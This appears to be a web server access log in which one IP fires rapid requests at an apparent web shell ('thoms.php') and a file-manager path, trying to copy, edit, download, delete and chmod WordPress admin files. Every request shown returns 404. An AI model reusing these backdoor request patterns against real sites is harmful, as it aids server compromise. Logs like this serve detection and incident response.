45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/setting-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?edit=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?dl=options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /ba-guo.com.tw/wp-admin/install-helper.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:34 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugin-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugin-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?chmod=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?del=themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /ba-guo.com.tw/wp-admin/post-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /ba-guo.com.tw/wp-admin/term.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?dl=credits.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpost-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpost-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftheme-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftheme-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupdate-core.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupdate-core.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-tags.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-tags.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?dl=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?del=tools.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=tools.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:35 -0400] "GET /thoms.php?dl=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?chmod=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /ba-guo.com.tw/wp-admin/widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?chmod=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?dl=options-writing.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fasync-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fasync-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /ba-guo.com.tw/wp-admin/media-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /ba-guo.com.tw/wp-admin/media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?chmod=link.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?dl=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
